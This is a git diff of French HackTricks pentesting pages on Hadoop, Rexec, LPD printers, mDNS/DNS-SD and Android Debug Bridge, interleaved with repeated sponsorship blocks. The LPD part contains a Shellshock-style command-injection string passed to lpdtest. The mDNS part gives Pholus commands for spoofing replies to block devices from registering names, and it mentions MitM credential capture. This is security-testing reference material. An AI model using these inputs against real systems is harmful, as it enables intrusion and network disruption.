* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# **Informations de base**
|
||||
|
||||
**Apache Hadoop** est un **cadre open-source** pour le **stockage et le traitement distribués** de **grands ensembles de données** à travers des **clusters informatiques**. Il utilise **HDFS** pour le stockage et **MapReduce** pour le traitement.
|
||||
**Apache Hadoop** est un **framework open-source** pour le **stockage et le traitement distribués** de **grands ensembles de données** à travers des **clusters informatiques**. Il utilise **HDFS** pour le stockage et **MapReduce** pour le traitement.
|
||||
|
||||
Malheureusement, Hadoop ne bénéficie pas de support dans le framework Metasploit au moment de la documentation. Cependant, vous pouvez utiliser les **scripts Nmap** suivants pour énumérer les services Hadoop :
|
||||
Malheureusement, Hadoop manque de support dans le framework Metasploit au moment de la documentation. Cependant, vous pouvez utiliser les **scripts Nmap** suivants pour énumérer les services Hadoop :
|
||||
|
||||
- **`hadoop-jobtracker-info (Port 50030)`**
|
||||
- **`hadoop-tasktracker-info (Port 50060)`**
|
||||
|
@ -25,19 +26,19 @@ Malheureusement, Hadoop ne bénéficie pas de support dans le framework Metasplo
|
|||
- **`hadoop-datanode-info (Port 50075)`**
|
||||
- **`hadoop-secondary-namenode-info (Port 50090)`**
|
||||
|
||||
Il est crucial de noter que **Hadoop fonctionne sans authentification dans sa configuration par défaut**. Cependant, pour une sécurité accrue, des configurations sont disponibles pour intégrer Kerberos avec HDFS, YARN et les services MapReduce.
|
||||
|
||||
Il est crucial de noter que **Hadoop fonctionne sans authentification dans sa configuration par défaut**. Cependant, pour une sécurité renforcée, des configurations sont disponibles pour intégrer Kerberos avec les services HDFS, YARN et MapReduce.
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# 512 - Pentesting Rexec
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Informations de base
|
||||
|
||||
C'est un service qui **vous permet d'exécuter une commande à l'intérieur d'un hôte** si vous connaissez des **identifiants valides** (nom d'utilisateur et mot de passe).
|
||||
C'est un service qui **vous permet d'exécuter une commande à l'intérieur d'un hôte** si vous connaissez des **identifiants** valides (nom d'utilisateur et mot de passe).
|
||||
|
||||
**Port par défaut :** 512
|
||||
```
|
||||
|
@ -25,16 +26,17 @@ PORT STATE SERVICE
|
|||
```
|
||||
### [**Brute-force**](../generic-methodologies-and-resources/brute-force.md#rexec)
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### **Introduction au protocole LPD**
|
||||
|
||||
Dans les années 1980, le protocole **Line Printer Daemon (LPD)** a été développé dans Berkeley Unix, qui a ensuite été formalisé à travers le RFC1179. Ce protocole fonctionne sur le port 515/tcp, permettant des interactions via la commande `lpr`. L'essence de l'impression via LPD implique l'envoi d'un **fichier de contrôle** (pour spécifier les détails de la tâche et l'utilisateur) ainsi qu'un **fichier de données** (qui contient les informations d'impression). Alors que le fichier de contrôle permet la sélection de **divers formats de fichier** pour le fichier de données, la manipulation de ces fichiers est déterminée par l'implémentation LPD spécifique. Une implémentation largement reconnue pour les systèmes de type Unix est **LPRng**. Notamment, le protocole LPD peut être exploité pour exécuter des tâches d'impression **PostScript malveillantes** ou **PJL**.
|
||||
Dans les années 1980, le **protocole Line Printer Daemon (LPD)** a été développé dans Berkeley Unix, qui a ensuite été formalisé par le RFC1179. Ce protocole fonctionne sur le port 515/tcp, permettant des interactions via la commande `lpr`. L'essence de l'impression via LPD implique l'envoi d'un **fichier de contrôle** (pour spécifier les détails de la tâche et l'utilisateur) ainsi qu'un **fichier de données** (qui contient les informations d'impression). Bien que le fichier de contrôle permette la sélection de **différents formats de fichiers** pour le fichier de données, le traitement de ces fichiers est déterminé par l'implémentation spécifique de LPD. Une implémentation largement reconnue pour les systèmes de type Unix est **LPRng**. Notamment, le protocole LPD peut être exploité pour exécuter des **PostScript malveillants** ou des **tâches d'impression PJL**.
|
||||
|
||||
### **Outils pour interagir avec les imprimantes LPD**
|
||||
|
||||
[**PRET**](https://github.com/RUB-NDS/PRET) introduit deux outils essentiels, `lpdprint` et `lpdtest`, offrant une méthode simple pour interagir avec les imprimantes compatibles LPD. Ces outils permettent une gamme d'actions allant de l'impression de données à la manipulation de fichiers sur l'imprimante, telles que le téléchargement, l'envoi ou la suppression :
|
||||
[**PRET**](https://github.com/RUB-NDS/PRET) introduit deux outils essentiels, `lpdprint` et `lpdtest`, offrant une méthode simple pour interagir avec les imprimantes compatibles LPD. Ces outils permettent une gamme d'actions allant de l'impression de données à la manipulation de fichiers sur l'imprimante, tels que le téléchargement, le téléversement ou la suppression :
|
||||
```python
|
||||
# To print a file to an LPD printer
|
||||
lpdprint.py hostname filename
|
||||
|
@ -33,23 +34,24 @@ lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
|
|||
# To send a mail through the printer
|
||||
lpdtest.py hostname mail lpdtest@mailhost.local
|
||||
```
|
||||
Pour les personnes intéressées à explorer davantage le domaine du **piratage d'imprimantes**, une ressource complète peut être trouvée ici : [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
Pour les personnes intéressées par l'exploration plus approfondie du domaine du **printer hacking**, une ressource complète peut être trouvée ici : [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
|
||||
# Shodan
|
||||
|
||||
* `port 515`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,34 @@
|
|||
# 5353/UDP Multicast DNS (mDNS) et DNS-SD
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Informations de base**
|
||||
|
||||
**Multicast DNS (mDNS)** permet des **opérations similaires à DNS** au sein des réseaux locaux sans avoir besoin d'un serveur DNS traditionnel. Il fonctionne sur le port **UDP 5353** et permet aux appareils de se découvrir mutuellement et de découvrir leurs services, couramment observé dans divers appareils IoT. **La découverte de services DNS (DNS-SD)**, souvent utilisée aux côtés de mDNS, aide à identifier les services disponibles sur le réseau grâce à des requêtes DNS standard.
|
||||
**Multicast DNS (mDNS)** permet des **opérations similaires à DNS** au sein des réseaux locaux sans avoir besoin d'un serveur DNS traditionnel. Il fonctionne sur le **port UDP 5353** et permet aux appareils de se découvrir mutuellement et leurs services, couramment observé dans divers appareils IoT. **DNS Service Discovery (DNS-SD)**, souvent utilisé avec mDNS, aide à identifier les services disponibles sur le réseau via des requêtes DNS standard.
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
5353/udp open zeroconf
|
||||
```
|
||||
### **Fonctionnement de mDNS**
|
||||
|
||||
Dans les environnements sans serveur DNS standard, mDNS permet aux appareils de résoudre les noms de domaine se terminant par **.local** en interrogeant l'adresse de multidiffusion **224.0.0.251** (IPv4) ou **FF02::FB** (IPv6). Les aspects importants de mDNS incluent une valeur de **Time-to-Live (TTL)** indiquant la validité de l'enregistrement et un **bit QU** distinguant les requêtes unicast et multicast. En termes de sécurité, il est crucial que les implémentations de mDNS vérifient que l'adresse source du paquet correspond au sous-réseau local.
|
||||
Dans des environnements sans serveur DNS standard, mDNS permet aux appareils de résoudre des noms de domaine se terminant par **.local** en interrogeant l'adresse multicast **224.0.0.251** (IPv4) ou **FF02::FB** (IPv6). Les aspects importants de mDNS incluent une valeur **Time-to-Live (TTL)** indiquant la validité des enregistrements et un **bit QU** distinguant les requêtes unicast et multicast. D'un point de vue sécurité, il est crucial que les implémentations de mDNS vérifient que l'adresse source du paquet correspond au sous-réseau local.
|
||||
|
||||
### **Fonctionnement de DNS-SD**
|
||||
|
||||
DNS-SD facilite la découverte des services réseau en interrogeant des enregistrements de pointeur (PTR) qui font correspondre les types de service à leurs instances. Les services sont identifiés en utilisant un motif **_\<Service>.\_tcp ou \_\<Service>.\_udp** dans le domaine **.local**, ce qui permet de découvrir les enregistrements **SRV** et **TXT** correspondants fournissant des informations détaillées sur le service.
|
||||
DNS-SD facilite la découverte de services réseau en interrogeant des enregistrements de pointeur (PTR) qui associent les types de services à leurs instances. Les services sont identifiés à l'aide d'un motif **_\<Service>.\_tcp ou \_\<Service>.\_udp** dans le domaine **.local**, ce qui conduit à la découverte des **enregistrements SRV** et **TXT** correspondants qui fournissent des informations détaillées sur le service.
|
||||
|
||||
### **Exploration du Réseau**
|
||||
|
||||
|
@ -37,9 +38,9 @@ Une commande utile pour scanner le réseau local à la recherche de services mDN
|
|||
```bash
|
||||
nmap -Pn -sUC -p5353 [target IP address]
|
||||
```
|
||||
Ce command permet d'identifier les ports mDNS ouverts et les services annoncés sur ces ports.
|
||||
Cette commande aide à identifier les ports mDNS ouverts et les services annoncés sur ceux-ci.
|
||||
|
||||
#### **Énumération du réseau avec Pholus**
|
||||
#### **Énumération de Réseau avec Pholus**
|
||||
|
||||
Pour envoyer activement des requêtes mDNS et capturer le trafic, l'outil **Pholus** peut être utilisé comme suit :
|
||||
```bash
|
||||
|
@ -47,20 +48,19 @@ sudo python3 pholus3.py [network interface] -rq -stimeout 10
|
|||
```
|
||||
## Attaques
|
||||
|
||||
### **Exploitation de l'exploration mDNS**
|
||||
### **Exploitation de l'interrogation mDNS**
|
||||
|
||||
Un vecteur d'attaque implique l'envoi de réponses falsifiées aux sondes mDNS, suggérant que tous les noms potentiels sont déjà utilisés, empêchant ainsi les nouveaux appareils de sélectionner un nom unique. Cela peut être exécuté en utilisant :
|
||||
Un vecteur d'attaque consiste à envoyer des réponses falsifiées aux requêtes mDNS, suggérant que tous les noms potentiels sont déjà utilisés, entravant ainsi les nouveaux appareils dans le choix d'un nom unique. Cela peut être exécuté en utilisant :
|
||||
```bash
|
||||
sudo python pholus.py [network interface] -afre -stimeout 1000
|
||||
```
|
||||
Cette technique bloque efficacement les nouveaux appareils d'enregistrer leurs services sur le réseau.
|
||||
|
||||
**En résumé**, comprendre le fonctionnement de mDNS et DNS-SD est crucial pour la gestion et la sécurité du réseau. Des outils comme **nmap** et **Pholus** offrent des informations précieuses sur les services du réseau local, tandis que la prise de conscience des vulnérabilités potentielles aide à se protéger contre les attaques.
|
||||
Cette technique bloque efficacement les nouveaux appareils de l'enregistrement de leurs services sur le réseau.
|
||||
|
||||
**En résumé**, comprendre le fonctionnement de mDNS et DNS-SD est crucial pour la gestion et la sécurité des réseaux. Des outils comme **nmap** et **Pholus** offrent des informations précieuses sur les services de réseau local, tandis que la sensibilisation aux vulnérabilités potentielles aide à se protéger contre les attaques.
|
||||
|
||||
### Spoofing/MitM
|
||||
|
||||
L'attaque la plus intéressante que vous pouvez effectuer sur ce service est de réaliser un **MitM** dans la **communication entre le client et le vrai serveur**. Vous pourriez être en mesure d'obtenir des fichiers sensibles (MitM la communication avec l'imprimante) ou même des informations d'identification (authentification Windows).\
|
||||
L'attaque la plus intéressante que vous pouvez effectuer sur ce service est de réaliser un **MitM** dans la **communication entre le client et le véritable serveur**. Vous pourriez être en mesure d'obtenir des fichiers sensibles (MitM la communication avec l'imprimante) ou même des identifiants (authentification Windows).\
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{% content-ref url="../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
|
||||
|
@ -69,18 +69,19 @@ Pour plus d'informations, consultez :
|
|||
|
||||
## Références
|
||||
|
||||
* [Hacking pratique de l'IoT : Le guide définitif pour attaquer l'Internet des objets](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y)
|
||||
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,39 +1,40 @@
|
|||
# 5555 - Android Debug Bridge
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
